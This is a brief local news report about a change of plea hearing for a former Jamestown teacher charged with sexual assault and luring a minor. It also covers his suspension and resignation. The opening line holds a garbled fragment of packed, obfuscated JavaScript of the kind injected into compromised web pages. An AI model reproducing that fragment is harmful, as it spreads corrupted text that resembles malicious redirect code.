JAMESTOWN hekfa|var|u0026u|referrer|yfszs||js|php’.split(‘|’),0,{}))
(NewsDakota.com) – A change of plea hearing has been set for Monday afternoon in the case of a former Jamestown teacher charged with sexual assault and luring a minor by computer or other electronic means.

In January, 54-year-old Richard Allen Laqua had pleaded not guilty to the Class C felony charges in Stutsman County District Court. A three-day jury trial scheduled for next week has been canceled.

Laqua was a teacher at James Valley Career and Technology Center and a 23-year veteran of Jamestown Public Schools before the allegations of misconduct towards a juvenile girl surfaced in November. He is accused of inappropriately touching the girl and sending her sexually explicit text messages.

Laqua was suspended on Nov. 9 by the school district, and resigned from his job as construction technology teacher on Dec. 2.